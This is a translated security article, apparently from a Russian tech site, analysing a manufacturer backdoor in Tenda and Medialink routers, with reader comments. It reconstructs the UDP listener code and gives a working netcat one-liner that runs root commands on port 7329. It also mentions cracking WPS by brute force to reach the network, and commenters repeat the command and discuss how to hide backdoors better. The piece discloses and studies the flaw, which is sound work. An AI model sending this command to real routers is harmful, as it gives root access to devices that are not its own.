По следам уязвимости D-Link: В беспроводных маршрутизаторах Tenda и Medialink обнаружен бэкдор

Original author: Craig Heffner
  • Translation
Чтобы вы не думали, что D-Link является единственным поставщиком, который оставляет бэкдоры в своей продукции, вот еще один — Tenda.


После извлечения последней прошивки для беспроводного маршрутизатора Tenda W302R, Крейг Хеффнер (Craig Heffner) решил заглянуть в /bin/httpd, которая оказался GoAhead веб-сервером:
image

Но в Tenda модифицированный сервер. Непосредственно перед входом в цикл приема HTTP, основной вызов InitMfgTask порождает функцию MfgThread как отдельный поток:
image

Первый MfgThread создает сокет UDP и слушает его на порту 7329:
image

Затем поток входит в цикл recvfrom и читает 128 байт из сокета. Он слушает каждый принятый UDP-пакет, имеющий длину в 14 байт.
image

Полученный UDP пакет затем обрабатывается этим кодом:
image

Пример этого же кода на С:
memset(rx_magic_string, 0, 0x80);
memset(command_byte, 0, 0x80);
memset(command_arg, 0, 0x80);

memcpy(rx_magic_string, rx_buf, 9);
command_byte[0] = rx_buf[11];
memcpy(command_arg, rx_buf+12, rx_size-12);

// If magic string doesn't match, stop processing this packet and wait for another packet
if(strcmp(rx_magic_string, "w302r_mfg") != 0) goto outer_receive_loop;


Мы видим, что сокет ожидает пакет со следующей структурой:

struct command_packet_t
{
    char magic[10]; // 9 byte magic string ("w302r_mfg"), plus a NULL terminating byte
    char command_byte;
    char command_arg[117];
};


Если принятый пакет начинается со строки «w302r_mfg», код затем сравнивает в заданном байте команды трех ASCII символов ('1','х' и 'е'):
image

Для простоты, пример кода на С:
switch(command_byte)
{
    case 'e':
        strcpy(tx_buf, "w302r_mfg");
        tx_size = 9;
        break;
    case '1':
        if(strstr(command_arg, "iwpriv") != NULL)
            tx_size = call_shell(command_arg, tx_buf, 0x800);
        else
            strcpy(tx_buf, "000000");
            tx_size = strlen(tx_buf);
        break;
    case 'x':
        tx_size = call_shell(command_arg, tx_buf, 0x800);
        break;
    default:
        goto outer_receive_loop;
}

sendto(client_socket, tx_buf, tx_size, client_sock_addr, 16);
goto outer_receive_loop;


Следующие действия соответствуют тому, какой дальше будет байт:

'Е' — ping
'1 '- Позволяет запускать iwpriv-команды
'X' — позволяет выполнить любую команду от root

Если 'X' определяется как командный байт, остаток пакета после этого символа (так называемая command_arg в приведенном выше коде) передается в call_shell, которая выполняет команду через POPEN:
image

Более того, call_shell заполняет tx_buf буфер с выводом команды, которая, как мы видим из предыдущего кода C, отправляется обратно клиенту.

Зная функциональность MfgThread и структуру пакета, мы можем легко воспроизвести этот бэкдор с помощью Netcat:

$ echo -ne "w302r_mfg\x00x/bin/ls" | nc -u -q 5 192.168.0.1 7329
drwxr-xr-x    2 0        0            1363 webroot
drwxr-xr-x    1 0        0               0 var
drwxr-xr-x    5 0        0              43 usr
drwxr-xr-x    1 0        0               0 tmp
drwxr-xr-x    2 0        0               3 sys
drwxr-xr-x    2 0        0             569 sbin
dr-xr-xr-x   39 0        0               0 proc
drwxr-xr-x    2 0        0               3 mnt
drwxr-xr-x    1 0        0               0 media
drwxr-xr-x    4 0        0             821 lib
lrwxrwxrwx    1 0        0              11 init -> bin/busybox
drwxr-xr-x    2 0        0               3 home
drwxr-xr-x    7 0        0             154 etc_ro
drwxr-xr-x    1 0        0               0 etc
drwxr-xr-x    1 0        0               0 dev
drwxr-xr-x    2 1000     100           574 bin


Данный пакет можно отправить только из локальной сети, при этом бекдором нельзя воспользоваться из глобальной сети. Тем не менее, эксплуатируемые беспроводные сети, в которых WPS включена по умолчанию, не защищены от брутфорса. ReaverPro относительно быстро взломал брутфорсом WPS, обеспечив доступ к беспроводной сети:
image

Этот бэкдор, скорее всего впервые реализованн в Tenda в W302R, хотя он также существует в Tenda W330R, а также в аналогичных моделях, таких как Medialink MWN-WAPR150N. Все они так же уязвимы перед строкой «w302r_mfg» в UDP-пакете.

UPDATE:
Ссылка на гитхаб: ea.github.io/blog/2013/10/18/tenda-backdoor
Уязвимости подвержены следующие прошивки:

301r_v3.1.192_en.bin
W311r_W268R_H1_V3.3.6b_ost_staticR.bin
302r_v3.1.192_en.bin
V3.1.201d_W301R_2010_0709.bin
W368R_H3_V3.3.6h_EN_spi.bin
V3.1.201d_W302R_2010_0709.bin
3gr_H2_V3.3.0y_multi_02.bin
w368r_H1_V3.3.6l_EN.bin
U_W330R_V3.1.201d_tenda_en.bin
W368r_H1_V3.3.6b_ost_staticR.bin
3g611r_en_0607.bin.bin
U_W311R_W268R_H3_V3.3.6h_EN_spi.bin
U_3G611R_H2_V3.3.1e_MULTI_02.bin
US_W268RRA__H3_V3.3.6h_EN_SPI.bin
US_W311RRA__H3_V3.3.6h_EN_SPI.bin
w1500a_kfw_V1.0.1.22_en_svn6227.bin
U150M_V3.32.12_EN.bin
U300M_V3.32.12_EN.bin
U_W302RRA_V3.1.201d_EN.bin
US_N60BRV1_N60_V1.0.0.15_EN.bin
US_N6BRV1_N6_V2.0.0.2_EN.bin
U_W150M_EN_V3.33.13_SPI_EN.bin
U_W300M_EN_V3.33.13_SPI_EN.bin
U_W330R_V3.1.201f_en_onWISP.bin
W330R_V3.1.201d_EN.bin
W311R_H1_V3.3.5o.bin
w311r_H1_V3.3.5n_en.bin
US_N60BRV1_N60_V1.0.0.16_EN.bin
US_N80_W568Rbr_V1.0.1.8(4428)_en_TD.bin
W311r_H1_V3.3.6b.bin
U268R_H1_V3.3.6d_EN.bin
U311R_H1_V3.3.6d_EN.bin
U150M_RT_EN_V3.32.11.bin
U300M_RT_EN_V3.32.11.bin
Share post

Comments 33

    +20
    Чёрт, опоздал :(

    Вы уж тогда дополнили бы ссылкой на ea.github.io/blog/2013/10/18/tenda-backdoor/
    И списком уязвимых прошивок:
    301r_v3.1.192_en.bin
    W311r_W268R_H1_V3.3.6b_ost_staticR.bin
    302r_v3.1.192_en.bin
    V3.1.201d_W301R_2010_0709.bin
    W368R_H3_V3.3.6h_EN_spi.bin
    V3.1.201d_W302R_2010_0709.bin
    3gr_H2_V3.3.0y_multi_02.bin
    w368r_H1_V3.3.6l_EN.bin
    U_W330R_V3.1.201d_tenda_en.bin
    W368r_H1_V3.3.6b_ost_staticR.bin
    3g611r_en_0607.bin.bin
    U_W311R_W268R_H3_V3.3.6h_EN_spi.bin
    U_3G611R_H2_V3.3.1e_MULTI_02.bin
    US_W268RRA__H3_V3.3.6h_EN_SPI.bin
    US_W311RRA__H3_V3.3.6h_EN_SPI.bin
    w1500a_kfw_V1.0.1.22_en_svn6227.bin
    U150M_V3.32.12_EN.bin
    U300M_V3.32.12_EN.bin
    U_W302RRA_V3.1.201d_EN.bin
    US_N60BRV1_N60_V1.0.0.15_EN.bin
    US_N6BRV1_N6_V2.0.0.2_EN.bin
    U_W150M_EN_V3.33.13_SPI_EN.bin
    U_W300M_EN_V3.33.13_SPI_EN.bin
    U_W330R_V3.1.201f_en_onWISP.bin
    W330R_V3.1.201d_EN.bin
    W311R_H1_V3.3.5o.bin
    w311r_H1_V3.3.5n_en.bin
    US_N60BRV1_N60_V1.0.0.16_EN.bin
    US_N80_W568Rbr_V1.0.1.8(4428)_en_TD.bin
    W311r_H1_V3.3.6b.bin
    U268R_H1_V3.3.6d_EN.bin
    U311R_H1_V3.3.6d_EN.bin
    U150M_RT_EN_V3.32.11.bin
    U300M_RT_EN_V3.32.11.bin
    
    +7
    Как это грустно… в материнские платы вставляют бекдор-гипервизор, в роутеры бекдоры-авторизации или даже вызов шелов, сетевые карты так же не остаются без внимания.

    Есть ли хоть какие то способы, от этого защититься? Полная аппаратная виртуализация (кстати потребуется еще как минимум и шифрование памяти виртуальной машины) и шифрованный канал до одноразового сервера?

    p.s. нет ли единого места, где можно мониторить и проверять приобретаемое оборудование на наличие таких 'бездонных отверстий'?
      0
      Избегать ширпотреба и покупать специализированное оборудование. В любом случае, вероятность меньше, чем у домашних роутеров за копейки. Я не говорю «тратить больше денег», иные решения стоят столько же. Вот я свой ZyXEL заменил на MikroTik, по цене вышло 1:1, а к RouterOS доверия на порядок больше.
        +17
        Почему у вас доверие к одной закрытой OS выше чем к другой?
          +3
          Можно понять логику доверия к RouterOS? Например у ZyXEL есть такое — zyxel.ru/agreementopensource
          Конечно и там идет «В данное ПО так же входят некоторые компоненты без исходного кода, которые являются собственностью компаний NDM Systems, ZyXEL Communications, Beceem Communications, Quanta Microsystems и Ralink Technology.», и в них уже могут быть закладки (как с тем же гипервизором на материнке), и так к сожалению практически везде. Нужно искать железо, к которому на все предоставляются исходники, а не частями, что сейчас практически не найти.
            +1
            Carambola 2.
          0
          Есть ли хоть какие то способы, от этого защититься?
          Как минимум, есть исследования по близкой проблеме: (см. раздел 5 в статье; также там даны ссылки на другие работы). К сожалению, не могу сейчас сказать, продолжается ли развитие этого направления или оно заглохло.
            0
            В плане защиты внутренней сети, как вариант, ставить 2-3 межсетевых экрана друг за другом разных производителей, желательно из конфликтующих стран типа США-Китай. Наверняка бэкдоры есть во всем, но не факт, что у конкретного противника окажется доступ ко всем сразу :)
              0
              Это защитит от серверов, слушающих порт. А если оборудование само инициирует коннект, проходя все NAT-ы?
              Чтобы не палиться, роутер может в случайное время суток пингануть один из своих управляющих серверов и, если он ответит, законнектиться к другому серверу и принимать команды. Минус — надо выждать. Плюс — кто из экранов отправил ping-пакет, сложно выяснить и скорее всего никому не придёт в голову проверять (можно и под ntp замаскировать, типа роутер время обновляет).
            +4
            Блин, кто ж так делает бекдоры… Командный пакет должен быть подписан закрытым ключом. Ну, в крайнем случае содержать пароль, который сервер хеширует и сравнивает с эталоном.
              0
              Дорого делать такой бэкдор. Придется платить патентные отчисления за алгоритмы шифрования, если только они уже не используются в том же устройстве для других целей. В таких вопросах нельзя полагаться на закрытость исходного кода прошивки и ее функциональности. Вот нашли же бэкдор — нашли. Если бы там был, например, RSA — нашли бы и его. И опс — фирма-изготовитель получает патентный иск.
                +2
                Если мне не изменяет память, тот же алгоритм RSA находится в public domain. DSA тоже не требует лиц. отчислений. И т.д.
                0
                А по-моему, паролем лучше всего делать какое-нибудь сообщение об ошибке на тему авторизации, да так, чтобы ещё раза 3 это сообщение использовалось по-нормальному.
                  +1
                  Нет, это всё-таки выявляется исследованием прошивки. Нужно так делать бекдоры, чтобы даже если перерыть всю прошивку, код доступа получить было нельзя.

                  Сейчас любой желающий, узнав о пароле, может подключиться к уязвимому D-Link / Tenda. А нужно, чтобы исследователь, нашедший дыру, не смог дать рабочий рецепт использования. Людям придётся поверить на слово, что дыра есть. Без возможности проверить, подобная новость не будет жареной, не облетит новостные сайты, не ударит по репутации столь сильно.
                    0
                    Прям асимметричное шифрование предлагаете туда запихнуть? ;)
                      0
                      На у что, OpenSSL наверняка есть в составе. Если нет, хотя бы любую стойкую хеш-функцию.
                        0
                        Ну, для порчи кармы прошивке достаточно открыть левый сокет или неочевидным образом парсить url-ы, на которые нет ссылок в веб-морде. Недокументированное плведение уже повод ддя подозрений.
                          0
                          Нет. Нужно доказать, что определённое входное воздействие приводит к определённому поведению.
                          В случае с криптографией придётся пропатчить ключики, чтобы провести демонстрацию.
                            +1
                            Стоп. Под порчей кармы прошивки я понимаю потерю моего к ней доверия. И если некий исследователь безопасности ткнет меня носом в то, что некая прошивка вдруг начинает слушать какой-то неуставной порт, а производитель на это не прореагирует как-то внятно — для меня лично это уже будет поводом либо не покупать данных девайс, либо использовать альтернативную прошивку. Хотя да, для того, чтобы показать дыру широкой общественности и заработать репутационные плюшки, нужно научиться дыру эксплуатировать. И да, в случае несимметричного шифрования команд придется показывать народу, как поменять ключи в стоковой прошивке на свои, чтобы самому эксплуатировать уязвимость в самостоятельно пропатченной прошивке. И да, по сути дела, эта процедура и будет залатыванием уязвимости.
                0
                Вот ведь, а только Тенду приобрел для личного пользования, купили цена и «видимая» прозрачность исполнения.
                Ну по крайней мере юзерагента как в истории с d-link'ом сменить на порядок проще чем сформировать нужный пакет.
                  +3
                  echo -ne "w302r_mfg\x00x/bin/ls"
                    0
                    Ну для Вашего случая, минимум на команду uname должно возвращаться что-то отличное от ошибки.
                    я же говорю для «массового пользователя», где на c:\ver отваливается «Microsoft Windows [Version ......]»

                    Для этой категории граждан:
                    FireFox: about:config -> general.useragent.extra.firefox…
                    IE: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent
                    Opera: opera:config#ISP|Id
                    Chrome: F12 -> Settings -> Overrides -> Useragents и вуаля…

                    Просто я боюсь что сейчас начнется бум «суперхацкеров»… D-link ОЧЕНЬ распространенная система даже в России
                      0
                      Я сейчас подниму ещё одну волну «суперхацкеров», но есть cygwin ;)
                        +1
                        U:\> echo @echo OK > %WINDIR%\uname.cmd
                        U:\> uname
                        OK

                        этого достаточно?
                          0
                          кстати, у меня не работает, хотя W330R роутер:
                          datacompboy@nuuzerpogodible:~$ echo -ne «w302r_mfg\x00x/bin/ls» | nc -u -q 5 172.28.1.1 7329
                          datacompboy@nuuzerpogodible:~$ echo -ne «w330r_mfg\x00x/bin/ls» | nc -u -q 5 172.28.1.1 7329
                          datacompboy@nuuzerpogodible:~$
                          и порт похоже закрыт:

                          datacompboy@nuuzerpogodible:~$ sudo nmap -sU 172.28.1.1 -p 7300-7400 -v

                          Starting Nmap 6.40 ( nmap.org ) at 2013-10-21 00:21 NOVT
                          Initiating ARP Ping Scan at 00:21
                          Scanning 172.28.1.1 [1 port]
                          Completed ARP Ping Scan at 00:21, 0.04s elapsed (1 total hosts)
                          Initiating Parallel DNS resolution of 1 host. at 00:21
                          Completed Parallel DNS resolution of 1 host. at 00:21, 0.00s elapsed
                          Initiating UDP Scan at 00:21
                          Scanning 172.28.1.1 [101 ports]
                          Increasing send delay for 172.28.1.1 from 0 to 50 due to max_successful_tryno increase to 4
                          Increasing send delay for 172.28.1.1 from 50 to 100 due to 11 out of 11 dropped probes since last increase.
                          Increasing send delay for 172.28.1.1 from 100 to 200 due to 11 out of 13 dropped probes since last increase.
                          Increasing send delay for 172.28.1.1 from 200 to 400 due to 11 out of 11 dropped probes since last increase.
                          Increasing send delay for 172.28.1.1 from 400 to 800 due to 11 out of 11 dropped probes since last increase.
                          Completed UDP Scan at 00:22, 58.87s elapsed (101 total ports)
                          Nmap scan report for 172.28.1.1
                          Host is up (0.0043s latency).
                          All 101 scanned ports on 172.28.1.1 are closed (60) or open|filtered (41)
                          MAC Address: C8:3A:35:12:A0:00 (Tenda Technology Co.)

                          Read data files from: /usr/bin/../share/nmap
                          Nmap done: 1 IP address (1 host up) scanned in 59.15 seconds
                          Raw packets sent: 450 (12.600KB) | Rcvd: 79 (4.884KB)
                          +4
                          Вообще для профилактики кому-либо из юридически подкованных пользователей уязвимого оборудования очень не помешало бы вкатить некоторое количество судебных исков в сторону производителя. Бэкдоры явно оставлялись умышленно (это не ошибки в коде), так что не исключаю, что получится отсудить приличную компенсацию, а заодно отбить охоту делать такие бяки.
                            +1
                            «Кому не влом»

                            остальные тупо прошьют OpenWRT и всё
                              0
                              Чтобы у нас в суде выиграть такой иск, придется как-то подтверждать понесенные расходы. По временным затратам при возможности документально подтвердить расходы до ~ 100к.р. — судебные разборки нерентабельны. Нужно юр.лицо, установившее ~100 домашних (?) роутеров одной марки и вынужденное их перепрошивать посредством привлечения сторонних специалистов с белой зарплатой… Более того, думается мне, что все это нужно проделать в течение гарантийного срока устройств и после того, как производитель откажется закрывать дыру в сервисе.
                                0
                                У нас — согласен: возмещается только доказанный ущерб. А по некоторым другим странам можно судиться и насчёт моральных страданий, вызванных потенциальной опасностью.
                        0
                        >>Чтобы вы не думали, что D-Link является единственным поставщиком
                        ИМХО у всех есть «черный ход» просто спрятан лучше.
                          –2
                          Е-мое! Мне теперь всем роутеры что ли на OpenWRT перепрошивать (сейчас-то только у меня).

                          Only users with full accounts can post comments. Log in, please.